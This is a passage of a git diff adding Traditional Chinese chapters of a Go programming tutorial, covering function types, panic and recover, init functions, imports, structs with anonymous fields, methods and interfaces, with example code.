resultType1 [, ...]) + +函式作為型別到底有什麼好處呢?那就是可以把這個型別的函式當做值來傳遞,請看下面的例子 + +```Go +package main + +import "fmt" + +type testInt func(int) bool // 宣告了一個函式型別 + +func isOdd(integer int) bool { + if integer%2 == 0 { + return false + } + return true +} + +func isEven(integer int) bool { + if integer%2 == 0 { + return true + } + return false +} + +// 宣告的函式型別在這個地方當做了一個參數 + +func filter(slice []int, f testInt) []int { + var result []int + for _, value := range slice { + if f(value) { + result = append(result, value) + } + } + return result +} + +func main(){ + slice := []int {1, 2, 3, 4, 5, 7} + fmt.Println("slice = ", slice) + odd := filter(slice, isOdd) // 函式當做值來傳遞了 + fmt.Println("Odd elements of slice are: ", odd) + even := filter(slice, isEven) // 函式當做值來傳遞了 + fmt.Println("Even elements of slice are: ", even) +} +``` +函式當做值和型別在我們寫一些通用介面的時候非常有用,透過上面例子我們看到 `testInt` 這個型別是一個函式型別,然後兩個 `filter` 函式的參數和回傳值與 `testInt` 型別是一樣的,但是我們可以實現很多種的邏輯,這樣使得我們的程式變得非常的靈活。 + +### Panic 和 Recover + +Go 沒有像 Java 那樣的異常機制,它不能丟擲異常,而是使用了 `panic` 和 `recover` 機制。一定要記住,你應當把它作為最後的手段來使用,也就是說,你的程式碼中應當沒有,或者很少有 `panic` 的東西。這是個強大的工具,請明智地使用它。那麼,我們應該如何使用它呢? + +Panic +>是一個內建函式,可以中斷原有的控制流程,進入一個 `panic` 狀態中。當函式 `F` 呼叫 `panic`,函式 `F` 的執行被中斷,但是 `F` 中的延遲函式會正常執行,然後 `F` 回傳到呼叫它的地方。在呼叫的地方,`F` 的行為就像呼叫了 `panic`。這一過程繼續向上,直到發生 `panic` 的 `goroutine` 中所有呼叫的函式回傳,此時程式退出。`panic` 可以直接呼叫 `panic` 產生。也可以由執行時錯誤產生,例如訪問越界的陣列。 + +Recover +>是一個內建的函式,可以讓進入 `panic` 狀態的 `goroutine` 恢復過來。`recover` 僅在延遲函式中有效。在正常的執行過程中,呼叫 `recover` 會回傳 `nil`,並且沒有其它任何效果。如果當前的 `goroutine` 陷入 `panic` 狀態,呼叫 `recover` 可以捕獲到 `panic` 的輸入值,並且恢復正常的執行。 + +下面這個函式示範了如何在過程中使用 `panic`: + +```Go +var user = os.Getenv("USER") + +func init() { + if user == "" { + panic("no value for $USER") + } +} +``` +下面這個函式檢查作為其參數的函式在執行時是否會產生 `panic`: + +```Go +func throwsPanic(f func()) (b bool) { + defer func() { + if x := recover(); x != nil { + b = true + } + }() + f() //執行函式 f,如果 f 中出現了 panic,那麼就可以恢復回來 + return +} +``` +### `main`函式和 `init` 函式 + +Go 裡面有兩個保留的函式:`init` 函式(能夠應用於所有的 `package`)和 `main` 函式(只能應用於 `package main`)。這兩個函式在定義時不能有任何的參數和回傳值。雖然一個 `package` 裡面可以寫任意多個 `init` 函式,但這無論是對於可讀性還是以後的可維護性來說,我們都強烈建議使用者在一個 `package` 中每個檔案只寫一個 `init` 函式。 + +Go 程式會自動呼叫 `init()` 和 `main()`,所以你不需要在任何地方呼叫這兩個函式。每個 `package` 中的 `init` 函式都是可選的,但 `package main` 就必須包含一個 `main` 函式。 + +程式的初始化和執行都起始於 `main` 套件。如果 `main` 套件還匯入了其它的套件,那麼就會在編譯時將它們依次匯入。有時一個套件會被多個套件同時匯入,那麼它只會被匯入一次(例如很多套件可能都會用到 `fmt` 套件,但它只會被匯入一次,因為沒有必要匯入多次)。當一個套件被匯入時,如果該套件還匯入了其它的套件,那麼會先將其它套件匯入進來,然後再對這些套件中的 "套件級" (package-level) 常數和變數進行初始化,接著執行 `init` 函式(如果有的話),依次類別推。等所有被匯入的套件都載入完畢了,就會開始對 `main` 套件中的 "套件級" 常數和變數進行初始化,然後執行 `main` 套件中的 `init` 函式(如果存在的話),最後執行 `main` 函式。下圖詳細地解釋了整個執行過程: + +![](images/2.3.init.png) + +圖 2.6 main 函式引入套件初始化流程圖 + +### import +我們在寫 Go 程式碼的時候經常用到 import 這個命令用來匯入套件檔案,而我們經常看到的方式參考如下: + +```Go +import( + "fmt" +) +``` +然後我們程式碼裡面可以透過如下的方式呼叫 + +```Go +fmt.Println("hello world") +``` +上面這個 fmt 是 Go 語言的標準函式庫,其實是去 `GOROOT` 環境變數指定目錄下去載入該模組,當然 Go 的 import 還支援如下兩種方式來載入自己寫的模組: + +1. 相對路徑 + + import “./model” //當前檔案同一目錄的 model 目錄,但是不建議這種方式來 import + +2. 絕對路徑 + + import “shorturl/model” //載入 gopath/src/shorturl/model 模組 + + +上面展示了一些 import 常用的幾種方式,但是還有一些特殊的 import,讓很多新手很難以理解,下面我們來一一講解一下到底是怎麼一回事 + + +1. 點操作 + + 我們有時候會看到如下的方式匯入包 + + import( + . "fmt" + ) + + 這個點操作的含義就是這個套件匯入之後在你呼叫這個套件的函式時,你可以省略字首的套件名,也就是前面你呼叫的 fmt.Println("hello world") 可以省略的寫成 Println("hello world") + +2. 別名操作 + + 別名操作顧名思義我們可以把套件命名成另一個我們用起來容易記憶的名字 + + import( + f "fmt" + ) + + 別名操作的話呼叫套件函式時字首變成了我們的字首,即 f.Println("hello world") + +3. _操作 + + 這個操作經常是讓很多人難以理解的一個運算子,請看下面這個 import + +```Go + import ( + "database/sql" + _ "github.com/ziutek/mymysql/godrv" + ) +``` + _操作其實是引入該套件,而不直接使用套件裡面的函式,而是呼叫了該套件裡面的 init 函式。 + + +## links + * [目錄]() + * 上一節:[Go 基礎](<02.2.md>) + * 下一節:[struct 型別](<02.4.md>) diff --git a/zh-tw/02.4.md b/zh-tw/02.4.md new file mode 100644 index 000000000..6fac86a89 --- /dev/null +++ b/zh-tw/02.4.md @@ -0,0 +1,226 @@ +# 2.4 struct 型別 +## struct +Go 語言中,也和 C 或者其他語言一樣,我們可以宣告新的型別,作為其它型別的屬性或欄位的容器。例如,我們可以建立一個自訂型別 `person` 代表一個人的實體。這個實體擁有屬性:姓名和年齡。這樣的型別我們稱之 `struct`。如下程式碼所示: + +```Go +type person struct { + name string + age int +} +``` +看到了嗎?宣告一個 struct 如此簡單,上面的型別包含有兩個欄位 +- 一個 string 型別的欄位 name,用來儲存使用者名稱稱這個屬性 +- 一個 int 型別的欄位 age,用來儲存使用者年齡這個屬性 + +如何使用 struct 呢?請看下面的程式碼: + +```Go +type person struct { + name string + age int +} + +var P person // P 現在就是 person 型別的變量了 + +P.name = "Astaxie" // 賦值"Astaxie"給 P 的 name 屬性 +P.age = 25 // 賦值"25"給變數 P 的 age 屬性 +fmt.Printf("The person's name is %s", P.name) // 訪問 P 的 name 屬性 +``` +除了上面這種 P 的宣告使用之外,還有另外幾種宣告使用方式: + +- 按照順序提供初始化值 + + P := person{"Tom", 25} + +- 透過 `field:value` 的方式初始化,這樣可以任意順序 + + P := person{age:24, name:"Tom"} + +- 當然也可以透過 `new` 函式分配一個指標,此處 P 的型別為*person + + P := new(person) + +下面我們看一個完整的使用 struct 的例子: + +```Go +package main + +import "fmt" + +// 宣告一個新的型別 +type person struct { + name string + age int +} + +// 比較兩個人的年齡,回傳年齡大的那個人,並且回傳年齡差 +// struct 也是傳值的 +func Older(p1, p2 person) (person, int) { + if p1.age>p2.age { // 比較 p1 和 p2 這兩個人的年齡 + return p1, p1.age-p2.age + } + return p2, p2.age-p1.age +} + +func main() { + var tom person + + // 賦值初始化 + tom.name, tom.age = "Tom", 18 + + // 兩個欄位都寫清楚的初始化 + bob := person{age:25, name:"Bob"} + + // 按照 struct 定義順序初始化值 + paul := person{"Paul", 43} + + tb_Older, tb_diff := Older(tom, bob) + tp_Older, tp_diff := Older(tom, paul) + bp_Older, bp_diff := Older(bob, paul) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", + tom.name, bob.name, tb_Older.name, tb_diff) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", + tom.name, paul.name, tp_Older.name, tp_diff) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", + bob.name, paul.name, bp_Older.name, bp_diff) +} +``` +### struct 的匿名欄位 +我們上面介紹了如何定義一個 struct,定義的時候是欄位名與其型別一一對應,實際上 Go 支援只提供型別,而不寫欄位名的方式,也就是匿名欄位,也稱為嵌入欄位。 + +當匿名欄位是一個 struct 的時候,那麼這個 struct 所擁有的全部欄位都被隱含的引入了當前定義的這個 struct。 + +讓我們來看一個例子,讓上面說的這些更具體化: + +```Go +package main + +import "fmt" + +type Human struct { + name string + age int + weight int +} + +type Student struct { + Human // 匿名欄位,那麼預設 Student 就包含了 Human 的所有欄位 + speciality string +} + +func main() { + // 我們初始化一個學生 + mark := Student{Human{"Mark", 25, 120}, "Computer Science"} + + // 我們訪問相應的欄位 + fmt.Println("His name is ", mark.name) + fmt.Println("His age is ", mark.age) + fmt.Println("His weight is ", mark.weight) + fmt.Println("His speciality is ", mark.speciality) + // 修改對應的備註資訊 + mark.speciality = "AI" + fmt.Println("Mark changed his speciality") + fmt.Println("His speciality is ", mark.speciality) + // 修改他的年齡資訊 + fmt.Println("Mark become old") + mark.age = 46 + fmt.Println("His age is", mark.age) + // 修改他的體重資訊 + fmt.Println("Mark is not an athlet anymore") + mark.weight += 60 + fmt.Println("His weight is", mark.weight) +} +``` +圖例如下: + +![](images/2.4.student_struct.png) + +圖 2.7 struct 組合,Student 組合了 Human struct 和 string 基本型別 + +我們看到 Student 訪問屬性 age 和 name 的時候,就像訪問自己所有用的欄位一樣,對,匿名欄位就是這樣,能夠實現欄位的繼承。是不是很酷啊?還有比這個更酷的呢,那就是 student 還能訪問 Human 這個欄位作為欄位名。請看下面的程式碼,是不是更酷了。 + +```Go +mark.Human = Human{"Marcus", 55, 220} +mark.Human.age -= 1 +``` +透過匿名訪問和修改欄位相當的有用,但是不僅僅是 struct 欄位哦,所有的內建型別和自訂型別都是可以作為匿名欄位的。請看下面的例子: + +```Go +package main + +import "fmt" + +type Skills []string + +type Human struct { + name string + age int + weight int +} + +type Student struct { + Human // 匿名欄位,struct + Skills // 匿名欄位,自訂的型別 string slice + int // 內建型別作為匿名欄位 + speciality string +} + +func main() { + // 初始化學生 Jane + jane := Student{Human:Human{"Jane", 35, 100}, speciality:"Biology"} + // 現在我們來訪問相應的欄位 + fmt.Println("Her name is ", jane.name) + fmt.Println("Her age is ", jane.age) + fmt.Println("Her weight is ", jane.weight) + fmt.Println("Her speciality is ", jane.speciality) + // 我們來修改他的 skill 技能欄位 + jane.Skills = []string{"anatomy"} + fmt.Println("Her skills are ", jane.Skills) + fmt.Println("She acquired two new ones ") + jane.Skills = append(jane.Skills, "physics", "golang") + fmt.Println("Her skills now are ", jane.Skills) + // 修改匿名內建型別欄位 + jane.int = 3 + fmt.Println("Her preferred number is", jane.int) +} +``` +從上面例子我們看出來 struct 不僅僅能夠將 struct 作為匿名欄位,自訂型別、內建型別都可以作為匿名欄位,而且可以在相應的欄位上面進行函式操作(如例子中的 append)。 + +這裡有一個問題:如果 human 裡面有一個欄位叫做 phone,而 student 也有一個欄位叫做 phone,那麼該怎麼辦呢? + +Go 裡面很簡單的解決了這個問題,最外層的優先訪問,也就是當你透過 `student.phone` 訪問的時候,是訪問 student 裡面的欄位,而不是 human 裡面的欄位。 + +這樣就允許我們去過載透過匿名欄位繼承的一些欄位,當然如果我們想訪問過載後對應匿名型別裡面的欄位,可以透過匿名欄位名來訪問。請看下面的例子: + +```Go +package main + +import "fmt" + +type Human struct { + name string + age int + phone string // Human 型別擁有的欄位 +} + +type Employee struct { + Human // 匿名欄位 Human + speciality string + phone string // 僱員的 phone 欄位 +} + +func main() { + Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"} + fmt.Println("Bob's work phone is:", Bob.phone) + // 如果我們要訪問 Human 的 phone 欄位 + fmt.Println("Bob's personal phone is:", Bob.Human.phone) +} +``` + +## links + * [目錄]() + * 上一節:[流程和函式](<02.3.md>) + * 下一節:[物件導向](<02.5.md>) diff --git a/zh-tw/02.5.md b/zh-tw/02.5.md new file mode 100644 index 000000000..3917a0deb --- /dev/null +++ b/zh-tw/02.5.md @@ -0,0 +1,345 @@ +# 2.5 物件導向 + +前面兩章我們介紹了函式和 struct,那你是否想過函式當作 struct 的欄位一樣來處理呢?今天我們就講解一下函式的另一種形態,帶有接收者的函式,我們稱為 `method`。 + +## method + +現在假設有這麼一個場景,你定義了一個 struct 叫做長方形,你現在想要計算他的面積,那麼按照我們一般的思路應該會用下面的方式來實現: + +```Go +package main + +import "fmt" + +type Rectangle struct { + width, height float64 +} + +func area(r Rectangle) float64 { + return r.width*r.height +} + +func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + fmt.Println("Area of r1 is: ", area(r1)) + fmt.Println("Area of r2 is: ", area(r2)) +} +``` +這段程式碼可以計算出來長方形的面積,但是 area()不是作為 Rectangle 的方法實現的(類似物件導向裡面的方法),而是將 Rectangle 的物件(如 r1,r2)作為參數傳入函式計算面積的。 + +這樣實現當然沒有問題囉,但是當需要增加圓形、正方形、五邊形甚至其它多邊形的時候,你想計算他們的面積的時候怎麼辦啊?那就只能增加新的函式囉,但是函式名你就必須要跟著換了,變成 `area_rectangle, area_circle, area_triangle...` + +像下圖所表示的那樣, 橢圓代表函式, 而這些函式並不從屬於 struct(或者以物件導向的術語來說,並不屬於 class),他們是單獨存在於 struct 外圍,而非在概念上屬於某個 struct 的。 + +![](images/2.5.rect_func_without_receiver.png) + +圖 2.8 方法和 struct 的關係圖 + +很顯然,這樣的實現並不優雅,並且從概念上來說"面積"是"形狀"的一個屬性,它是屬於這個特定的形狀的,就像長方形的長和寬一樣。 + +基於上面的原因所以就有了 `method` 的概念,`method` 是附屬在一個給定的型別上的,他的語法和函式的宣告語法幾乎一樣,只是在 `func` 後面增加了一個 receiver(也就是 method 所依從的主體)。 + +用上面提到的形狀的例子來說,method `area()` 是依賴於某個形狀(比如說 Rectangle)來發生作用的。Rectangle.area()的發出者是 Rectangle, area() 是屬於 Rectangle 的方法,而非一個外圍函式。 + +更具體地說,Rectangle 存在欄位 height 和 width, 同時存在方法 area(), 這些欄位和方法都屬於 Rectangle。 + +用 Rob Pike 的話來說就是: + +>"A method is a function with an implicit first argument, called a receiver." + +method 的語法如下: + + func (r ReceiverType) funcName(parameters) (results) + +下面我們用最開始的例子用 method 來實現: + +```Go +package main + +import ( + "fmt" + "math" +) + +type Rectangle struct { + width, height float64 +} + +type Circle struct { + radius float64 +} + +func (r Rectangle) area() float64 { + return r.width*r.height +} + +func (c Circle) area() float64 { + return c.radius * c.radius * math.Pi +} + + +func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + c1 := Circle{10} + c2 := Circle{25} + + fmt.Println("Area of r1 is: ", r1.area()) + fmt.Println("Area of r2 is: ", r2.area()) + fmt.Println("Area of c1 is: ", c1.area()) + fmt.Println("Area of c2 is: ", c2.area()) +} + +``` + +在使用 method 的時候重要注意幾點 + +- 雖然 method 的名字一模一樣,但是如果接收者不一樣,那麼 method 就不一樣 +- method 裡面可以訪問接收者的欄位 +- 呼叫 method 透過 `.` 訪問,就像 struct 裡面訪問欄位一樣 + +圖示如下: + +![](images/2.5.shapes_func_with_receiver_cp.png) + +圖 2.9 不同 struct 的 method 不同 + +在上例,method area() 分別屬於 Rectangle 和 Circle,於是他們的 Receiver 就變成了 Rectangle 和 Circle,或者說,這個 area()方法 是由 Rectangle/Circle 發出的。 + +>值得說明的一點是,圖示中 method 用虛線標出,意思是此處方法的 Receiver 是以值傳遞,而非參考傳遞,是的,Receiver 還可以是指標, 兩者的差別在於, 指標作為 Receiver 會對實體物件的內容發生操作,而普通型別作為 Receiver 僅僅是以副本作為操作物件,並不對原實體物件發生操作。後文對此會有詳細論述。 + +那是不是 method 只能作用在 struct 上面呢?當然不是囉,他可以定義在任何你自訂的型別、內建型別、struct 等各種型別上面。這裡你是不是有點迷糊了,什麼叫自訂型別,自訂型別不就是 struct 嘛,不是這樣的哦,struct 只是自訂型別裡面一種比較特殊的型別而已,還有其他自訂型別宣告,可以透過如下這樣的宣告來實現。 + +```Go +type typeName typeLiteral +``` +請看下面這個宣告自訂型別的程式碼 + +```Go +type ages int + +type money float32 + +type months map[string]int + +m := months { + "January":31, + "February":28, + ... + "December":31, +} +``` +看到了嗎?簡單的很吧,這樣你就可以在自己的程式碼裡面定義有意義的型別了,實際上只是一個定義了一個別名,有點類似於 c 中的 typedef,例如上面 ages 替代了 int。 + +好了,讓我們回到 `method`。 + +你可以在任何的自訂型別中定義任意多的 `method`,接下來讓我們看一個複雜一點的例子: + +```Go +package main + +import "fmt" + +const( + WHITE = iota + BLACK + BLUE + RED + YELLOW +) + +type Color byte + +type Box struct { + width, height, depth float64 + color Color +} + +type BoxList []Box // a slice of boxes + +func (b Box) Volume() float64 { + return b.width * b.height * b.depth +} + +func (b *Box) SetColor(c Color) { + b.color = c +} + +func (bl BoxList) BiggestColor() Color { + v := 0.00 + k := Color(WHITE) + for _, b := range bl { + if bv := b.Volume(); bv > v { + v = bv + k = b.color + } + } + return k +} + +func (bl BoxList) PaintItBlack() { + for i := range bl { + bl[i].SetColor(BLACK) + } +} + +func (c Color) String() string { + strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW"} + return strings[c] +} + +func main() { + boxes := BoxList { + Box{4, 4, 4, RED}, + Box{10, 10, 1, YELLOW}, + Box{1, 1, 20, BLACK}, + Box{10, 10, 1, BLUE}, + Box{10, 30, 1, WHITE}, + Box{20, 20, 20, YELLOW}, + } + + fmt.Printf("We have %d boxes in our set\n", len(boxes)) + fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³") + fmt.Println("The color of the last one is",boxes[len(boxes)-1].color.String()) + fmt.Println("The biggest one is", boxes.BiggestColor().String()) + + fmt.Println("Let's paint them all black") + boxes.PaintItBlack() + fmt.Println("The color of the second one is", boxes[1].color.String()) + + fmt.Println("Obviously, now, the biggest one is", boxes.BiggestColor().String()) +} +``` +上面的程式碼透過 const 定義了一些常數,然後定義了一些自訂型別: + +- Color 作為 byte 的別名 +- 定義了一個 struct:Box,含有三個長寬高欄位和一個顏色屬性 +- 定義了一個 slice:BoxList,含有 Box + +然後以上面的自訂型別為接收者定義了一些 method: + +- Volume() 定義了接收者為 Box,回傳 Box 的容量 +- SetColor(c Color),把 Box 的顏色改為 c +- BiggestColor() 定在在 BoxList 上面,回傳 list 裡面容量最大的顏色 +- PaintItBlack() 把 BoxList 裡面所有 Box 的顏色全部變成黑色 +- String() 定義在 Color 上面,回傳 Color 的具體顏色(字串格式) + +上面的程式碼透過文字描述出來之後是不是很簡單?我們一般解決問題都是透過問題的描述,去寫相應的程式碼實現。 + +### 指標作為 receiver + +現在讓我們回過頭來看看 SetColor 這個 method,它的 receiver 是一個指向 Box 的指標,是的,你可以使用 *Box。想想為啥要使用指標而不是 Box 本身呢? + +我們定義 SetColor 的真正目的是想改變這個 Box 的顏色,如果不傳 Box 的指標,那麼 SetColor 接受的其實是 Box 的一個 copy,也就是說 method 內對於顏色值的修改,其實只作用於 Box 的 copy,而不是真正的 Box。所以我們需要傳入指標。 + +這裡可以把 receiver 當作 method 的第一個參數來看,然後結合前面函式講解的傳值和傳參考就不難理解 + +這裡你也許會問了那 SetColor 函式裡面應該這樣定義 `*b.Color=c`,而不是 `b.Color=c`,因為我們需要讀取到指標相應的值。 + +你是對的,其實 Go 裡面這兩種方式都是正確的,當你用指標去訪問相應的欄位時(雖然指標沒有任何的欄位),Go 知道你要透過指標去取得這個值,看到了吧,Go 的設計是不是越來越吸引你了。 + +也許細心的讀者會問這樣的問題,PaintItBlack 裡面呼叫 SetColor 的時候是不是應該寫成 `(&bl[i]).SetColor(BLACK)`,因為 SetColor 的 receiver 是 *Box,而不是 Box。 + +你又說對了,這兩種方式都可以,因為 Go 知道 receiver 是指標,他自動幫你轉了。 + +也就是說: +>如果一個 method 的 receiver 是 *T,你可以在一個 T 型別的變數 V 上面呼叫這個 method,而不需要 &V 去呼叫這個 method。 + +類似的 +>如果一個 method 的 receiver 是 T,你可以在一個 *T 型別的變數 P 上面呼叫這個 method,而不需要 *P 去呼叫這個 method。 + +所以,你不用擔心你是呼叫的指標的 method 還是不是指標的 method,Go 知道你要做的一切,這對於有多年 C/C++程式設計經驗的同學來說,真是解決了一個很大的痛苦。 + +### method 繼承 + +前面一章我們學習了欄位的繼承,那麼你也會發現 Go 的一個神奇之處,method 也是可以繼承的。如果匿名欄位實現了一個 method,那麼包含這個匿名欄位的 struct 也能呼叫該 method。讓我們來看下面這個例子: + +```Go +package main + +import "fmt" + +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human // 匿名欄位 + school string +} + +type Employee struct { + Human // 匿名欄位 + company string +} + +// 在 human 上面定義了一個 method +func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + + mark.SayHi() + sam.SayHi() +} +``` + +### method 重寫 + +上面的例子中,如果 Employee 想要實現自己的 SayHi,怎麼辦?簡單,和匿名欄位衝突一樣的道理,我們可以在 Employee 上面定義一個 method,重寫了匿名欄位的方法。請看下面的例子 + +```Go +package main + +import "fmt" + +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human // 匿名欄位 + school string +} + +type Employee struct { + Human // 匿名欄位 + company string +} + +// Human 定義 method +func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +// Employee 的 method 重寫 Human 的 method +func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. +} + +func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + + mark.SayHi() + sam.SayHi() +} +``` +上面的程式碼設計的是如此的美妙,讓人不自覺的為 Go 的設計驚歎! + +透過這些內容,我們可以設計出基本的物件導向的程式了,但是 Go 裡面的物件導向是如此的簡單,沒有任何的私有、公有關鍵字,透過大小寫來實現(大寫開頭的為公有,小寫開頭的為私有),方法也同樣適用這個原則。 + +## links + + * [目錄]() + * 上一節:[struct 型別](<02.4.md>) + * 下一節:[interface](<02.6.md>) diff --git a/zh-tw/02.6.md b/zh-tw/02.6.md new file mode 100644 index 000000000..32f2fb798 --- /dev/null +++ b/zh-tw/02.6.md @@ -0,0 +1,439 @@ +# 2.6 interface + +## interface +Go 語言裡面設計最精妙的應該算 interface,它讓物件導向,內容組織實現非常的方便,當你看完這一章,你就會被 interface 的巧妙設計所折服。 +### 什麼是 interface + +簡單的說,interface 是一組 method 簽名的組合,我們透過 interface 來定義物件的一組行為。 + +我們前面一章最後一個例子中 Student 和 Employee 都能 SayHi,雖然他們的內部實現不一樣,但是那不重要,重要的是他們都能 `say hi`。 + +讓我們來繼續做更多的擴充套件,Student 和 Employee 實現另一個方法 `Sing`,然後 Student 實現方法 BorrowMoney 而 Employee 實現 SpendSalary。 + +這樣 Student 實現了三個方法:SayHi、Sing、BorrowMoney;而 Employee 實現了 SayHi、Sing、SpendSalary。 + +上面這些方法的組合稱為 interface(被物件 Student 和 Employee 實現)。例如 Student 和 Employee 都實現了 interface:SayHi 和 Sing,也就是這兩個物件是該 interface 型別。而 Employee 沒有實現這個 interface:SayHi、Sing 和 BorrowMoney,因為 Employee 沒有實現 BorrowMoney 這個方法。 +### interface 型別 +interface 型別定義了一組方法,如果某個物件實現了某個介面的所有方法,則此物件就實現了此介面。詳細的語法參考下面這個例子: + +```Go + +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human //匿名欄位 Human + + school string + loan float32 +} + +type Employee struct { + Human //匿名欄位 Human + + company string + money float32 +} + +// Human 物件實現 Sayhi 方法 +func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +// Human 物件實現 Sing 方法 +func (h *Human) Sing(lyrics string) { + fmt.Println("La la, la la la, la la la la la...", lyrics) +} + +// Human 物件實現 Guzzle 方法 +func (h *Human) Guzzle(beerStein string) { + fmt.Println("Guzzle Guzzle Guzzle...", beerStein) +} + +// Employee 過載 Human 的 Sayhi 方法 +func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //此句可以分成多行 +} + +// Student 實現 BorrowMoney 方法 +func (s *Student) BorrowMoney(amount float32) { + s.loan += amount // (again and again and...) +} + +// Employee 實現 SpendSalary 方法 +func (e *Employee) SpendSalary(amount float32) { + e.money -= amount // More vodka please!!! Get me through the day! +} + +// 定義 interface + +type Men interface { + SayHi() + Sing(lyrics string) + Guzzle(beerStein string) +} + +type YoungChap interface { + SayHi() + Sing(song string) + BorrowMoney(amount float32) +} + +type ElderlyGent interface { + SayHi() + Sing(song string) + SpendSalary(amount float32) +} +``` +透過上面的程式碼我們可以知道,interface 可以被任意的物件實現。我們看到上面的 Men interface 被 Human、Student 和 Employee 實現。同理,一個物件可以實現任意多個 interface,例如上面的 Student 實現了 Men 和 YoungChap 兩個 interface。 + +最後,任意的型別都實現了空 interface(我們這樣定義:interface{}),也就是包含 0 個 method 的 interface。 + +### interface 值 +那麼 interface 裡面到底能存什麼值呢?如果我們定義了一個 interface 的變數,那麼這個變數裡面可以存實現這個 interface 的任意型別的物件。例如上面例子中,我們定義了一個 Men interface 型別的變數 m,那麼 m 裡面可以存 Human、Student 或者 Employee 值。 + +因為 m 能夠持有這三種類型的物件,所以我們可以定義一個包含 Men 型別元素的 slice,這個 slice 可以被賦予實現了 Men 介面的任意結構的物件,這個和我們傳統意義上面的 slice 有所不同。 + +讓我們來看一下下面這個例子: + +```Go + +package main + +import "fmt" + +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human //匿名欄位 + school string + loan float32 +} + +type Employee struct { + Human //匿名欄位 + company string + money float32 +} + +// Human 實現 SayHi 方法 +func (h Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +// Human 實現 Sing 方法 +func (h Human) Sing(lyrics string) { + fmt.Println("La la la la...", lyrics) +} + +// Employee 過載 Human 的 SayHi 方法 +func (e Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) + } + +// Interface Men 被 Human,Student 和 Employee 實現 +// 因為這三個型別都實現了這兩個方法 +type Men interface { + SayHi() + Sing(lyrics string) +} + +func main() { + mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00} + paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100} + sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000} + tom := Employee{Human{"Tom", 37, "222-444-XXX"}, "Things Ltd.", 5000} + + // 定義 Men 型別的變數 i + + var i Men + + // i 能儲存 Student + + i = mike + fmt.Println("This is Mike, a Student:") + i.SayHi() + i.Sing("November rain") + + // i 也能儲存 Employee + + i = tom + fmt.Println("This is tom, an Employee:") + i.SayHi() + i.Sing("Born to be wild") + + // 定義了 slice Men + fmt.Println("Let's use a slice of Men and see what happens") + x := make([]Men, 3) + // 這三個都是不同型別的元素,但是他們實現了 interface 同一個介面 + x[0], x[1], x[2] = paul, sam, mike + + for _, value := range x{ + value.SayHi() + } +} +``` +透過上面的程式碼,你會發現 interface 就是一組抽象方法的集合,它必須由其他非 interface 型別實現,而不能自我實現, Go 透過 interface 實現了 duck-typing:即「當看到一隻鳥走起來像鴨子、游泳起來像鴨子、叫起來也像鴨子,那麼這隻鳥就可以被稱為鴨子」。 + +### 空 interface + +空 interface(interface{}) 不包含任何的 method,正因為如此,所有的型別都實現了空 interface。空 interface 對於描述起不到任何的作用(因為它不包含任何的 method),但是空 interface 在我們需要儲存任意型別的數值的時候相當有用,因為它可以儲存任意型別的數值。它有點類似於 C 語言的 void* 型別。 + +```Go + +// 定義 a 為空介面 +var a interface{} +var i int = 5 +s := "Hello world" +// a 可以儲存任意型別的數值 +a = i +a = s +``` +一個函式把 interface{} 作為參數,那麼他可以接受任意型別的值作為參數,如果一個函式回傳 interface{},那麼也就可以回傳任意型別的值。是不是很有用啊! +### interface 函式參數 +interface 的變數可以持有任意實現該 interface 型別的物件,這給我們編寫函式(包括 method)提供了一些額外的思考,我們是不是可以透過定義 interface 參數,讓函式接受各種型別的參數。 + +舉個例子:fmt.Println 是我們常用的一個函式,但是你是否注意到它可以接受任意型別的資料。開啟 fmt 的原始碼檔案,你會看到這樣一個定義: + +```Go + +type Stringer interface { + String() string +} +``` +也就是說,任何實現了 String 方法的型別都能作為參數被 fmt.Println 呼叫,讓我們來試一試 + +```Go + +package main +import ( + "fmt" + "strconv" +) + +type Human struct { + name string + age int + phone string +} + +// 透過這個方法 Human 實現了 fmt.Stringer +func (h Human) String() string { + return "❰"+h.name+" - "+strconv.Itoa(h.age)+" years - ✆ " +h.phone+"❱" +} + +func main() { + Bob := Human{"Bob", 39, "000-7777-XXX"} + fmt.Println("This Human is : ", Bob) +} +``` +現在我們再回顧一下前面的 Box 範例,你會發現 Color 結構也定義了一個 method:String。其實這也是實現了 fmt.Stringer 這個 interface,即如果需要某個型別能被 fmt 套件以特殊的格式輸出,你就必須實現 Stringer 這個介面。如果沒有實現這個介面,fmt 將以預設的方式輸出。 + +```Go + +// 實現同樣的功能 +fmt.Println("The biggest one is", boxes.BiggestsColor().String()) +fmt.Println("The biggest one is", boxes.BiggestsColor()) +``` +注:實現了 error 介面的物件(即實現了 Error() string 的物件),使用 fmt 輸出時,會呼叫 Error() 方法,因此不必再定義 String() 方法了。 +### interface 變數儲存的型別 + +我們知道 interface 